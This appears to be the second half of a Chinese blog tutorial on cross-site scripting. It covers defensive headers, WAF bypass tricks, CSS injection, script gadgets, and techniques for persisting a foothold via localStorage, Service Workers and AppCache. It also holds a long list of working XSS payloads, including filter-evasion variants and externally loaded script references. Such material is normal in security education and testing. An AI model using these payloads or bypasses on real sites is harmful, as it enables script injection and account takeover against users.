当前位置: 首页 > article >正文

一篇 带你了解 XSS——(下篇)

  • 7. XSS保护

    • 7.1. HTML过滤

    • 使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
    • 7.2. X-Frame

    • X-Frame-Options 响应头有三个可选的值:
      • DENY
        • 页面不能被嵌入到任何iframe或frame中
      • SAMEORIGIN
        • 页面只能被本站页面嵌入到iframe或者frame中
      • ALLOW-FROM
        • 页面允许frame或frame加载
    • 7.3. XSS保护头

    • 基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
    • 而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
    • 要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
      • 0 : 表示关闭浏览器的XSS防护机制
      • 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
      • 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码
    • FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
  • 8. WAF Bypass

    • 利用<>标记

    • 利用html属性

      • href
      • lowsrc
      • bgsound
      • background
      • value
      • action
      • dynsrc
    • 关键字

      • 利用回车拆分
      • 字符串拼接
        • window["al" + "ert"]
    • 利用编码绕过

      • base64
      • jsfuck
      • String.fromCharCode
      • HTML
      • URL
      • hex
        • window["\x61\x6c\x65\x72\x74"]
      • unicode
      • utf7
        • +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
      • utf16
    • 大小写混淆

    • 对标签属性值转码

    • 产生事件

    • css跨站解析

    • 长度限制bypass

      • eval(name)
      • eval(hash)
      • import
      • $.getScript
      • $.get
    • .
      • 使用 。 绕过IP/域名
      • document['cookie'] 绕过属性取值
    • 过滤引号用 `` ` `` 绕过

  • 9. 技巧

    • 9.1. httponly

      • 在cookie为httponly的情况下,可以通过xss直接在源站完成操作,不直接获取cookie。
      • 在有登录操作的情况下,部分站点直接发送登录请求可能会带有cookie
      • 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
      • 低版本浏览器支持 TRACE / TRACK,可获取敏感的header字段
      • phpinfo 等页面可能会回显信息,这些信息中包含http头
      • 通过xss劫持页面钓鱼
      • 通过xss伪造oauth等授权请求,远程登录
    • 9.2. CSS 注入

      • 9.2.1. 基本介绍

        • CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
      • 9.2.2. CSS selectors

        • 上图是利用CSS selectors完成攻击的一个示例
      • 9.2.3. Abusing Unicode Range

        • 当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
        • 当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容
    • 9.3. Bypass Via Script Gadgets

      • 9.3.1. 简介

        • 一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。
        • portswigger的一篇博文也表达了类似的想法 Abusing JavaScript frameworks to bypass XSS mitigations | PortSwigger Research。
        • 下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
      • 9.3.2. 例子

    • 9.4. RPO(Relative Path Overwrite)

      • RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
  • ============================================================
  • 10. Payload

    • 10.1 常用

      • <script>alert(/xss/)</script>
      • <svg οnlοad=alert(document.domain)>
      • <img src=document.domain οnerrοr=alert(document.domain)>
      • <M οnmοuseοver=alert(document.domain)>M
      • <marquee οnscrοll=alert(document.domain)>
      • <a href=javascript:alert(document.domain)>M</a>
      • <body οnlοad=alert(document.domain)>
      • <details open οntοggle=alert(document.domain)>
      • <embed src=javascript:alert(document.domain)>
    • 10.2 大小写绕过

      • <script>alert(1)</script>
      • <sCrIpT>alert(1)</sCrIpT>
      • <ScRiPt>alert(1)</ScRiPt>
      • <sCrIpT>alert(1)</ScRiPt>
      • <ScRiPt>alert(1)</sCrIpT>
      • <img src=1 οnerrοr=alert(1)>
      • <iMg src=1 oNeRrOr=alert(1)>
      • <ImG src=1 OnErRoR=alert(1)>
      • <img src=1 οnerrοr="alert(&quot;M&quot;)">
      • <marquee οnscrοll=alert(1)>
      • <mArQuEe OnScRoLl=alert(1)>
      • <MaRqUeE oNsCrOlL=alert(1)>
    • 10.3 各种alert

      • <script>alert(1)</script>
      • <script>confirm(1)</script>
      • <script>prompt(1)</script>
      • <script>alert('1')</script>
      • <script>alert("1")</script>
      • <script>alert 1 </script>
      • <script>(alert)(1)</script>
      • <script>a=alert,a(1)</script>
      • <script>[1].find(alert)</script>
      • <script>top"al"+"ert"</script>
      • <script>top"a"+"l"+"e"+"r"+"t"</script>
      • <script>top/al/.source+/ert/.source</script>
      • <script>top/a/.source+/l/.source+/e/.source+/r/.source+/t/.source</script>
    • 10.4 伪协议

      • <a href=javascript:/0/,alert(%22M%22)>M</a>
      • <a href=javascript:/00/,alert(%22M%22)>M</a>
      • <a href=javascript:/000/,alert(%22M%22)>M</a>
      • <a href=javascript:/M/,alert(%22M%22)>M</a>
    • 10.5 Chrome XSS auditor

      • ?param=https://&param=@z.exeye.io/import%20rel=import%3E
      • <base href=javascript:/M/><a href=,alert(1)>M</a>
      • <base href=javascript:/M/><iframe src=,alert(1)></iframe>
    • 10.6 长度限制

    • 10.7 jquery sourceMappingURL

      • </textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
    • 10.8 图片名

      • "><img src=x οnerrοr=alert(document.cookie)>.gif
    • 10.9 过期的payload

      • src=javascript:alert基本不可以用
      • css expression特性只在旧版本ie可用
    • 10.10 css

    • 10.11 markdown

    • 10.12 iframe

    •  
      • <iframe src=javascript:alert(1)></iframe>
      • <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
      • <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
      • <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
      • <iframe src=https://baidu.com width=1366 height=768></iframe>
      • <iframe src=javascript:alert(1) width=1366 height=768></iframe
    • 10.13 form

      • <form action=javascript:alert(1)><input type=submit>
      • <form><button formaction=javascript:alert(1)>M
      • <form><input formaction=javascript:alert(1) type=submit value=M>
      • <form><input formaction=javascript:alert(1) type=image value=M>
      • <form><input formaction=javascript:alert(1) type=image src=1>
    • 10.14 meta

      • <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css&gt;; REL=stylesheet">
  • =======================================
  •  11. 持久化

    • 11.1. 基于存储

    • 有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
    • 在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
    • 11.2. Service Worker

    • Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
    • 在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
    • 11.3. AppCache

    • 在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
  • ===============================================================
  • 12.参考链接

    • 12.1. wiki

      • AwesomeXSS
      • w3c
      • dom xss wiki
      • content-security-policy.com
      • markdwon xss
      • xss cheat sheet
      • html5 security cheatsheet
      • http security headers
      • XSSChallengeWiki
    • 12.2. Challenges

      • XSS Challenge By Google
      • prompt to win
    • 12.3. CSS

      • rpo
      • rpo攻击初探
      • Reading Data via CSS
      • css based attack abusing unicode range
      • css injection
      • css timing attack
    • 12.4. 同源策略

      • Same origin policy
      • cors security guide
      • logically bypassing browser security boundaries
    • 12.5. bypass

      • 666 lines of xss payload
      • xss auditor bypass
      • xss auditor bypass writeup
      • bypassing csp using polyglot jpegs
      • bypass xss filters using javascript global variables
    • 12.6. 持久化

      • 变种XSS 持久控制 by tig3r
      • Using Appcache and ServiceWorker for Evil
    • 12.7. Tricks

      • Service Worker 安全探索
      • 前端黑魔法
  • =====================================================


http://www.kler.cn/a/348858.html

相关文章:

  • NewStar CTF 2024 re方向 week2 wp
  • Geist「Polter」测试网现已上线——不可错过的关键信息
  • 电脑插上U盘不显示怎么回事?怎么解决?
  • IT基础监控运维:监控易的深度解析与应用
  • Python网络爬虫
  • 大模型烧钱战,百度云亟需突围之路
  • AD9680(adc直采芯片)使用说明
  • Java:数据结构-队列(Queue)
  • SpringBoot教程(三十二) | SpringBoot集成Skywalking链路跟踪
  • 施耐德EcoStruxure Machine SCADA Expert(EMSE)文件管理功能-上(二十)
  • 76.【C语言】perror函数介绍
  • ssh连接慢的问题或zookeeper远程连接服务超时
  • uniapp学习(005-1 详解Part.1)
  • 百度地图怎么上传店铺定位?
  • 前端继承:原理、实现方式与应用场景
  • 中国海油携手科大讯飞共建“海能”人工智能模型,助力能源行业焕新
  • 近邻算法:深入理解与广泛应用
  • protobuf的简介、安装与使用
  • 文献阅读(222) VVQ协议死锁
  • Redis学习笔记:简单动态字符串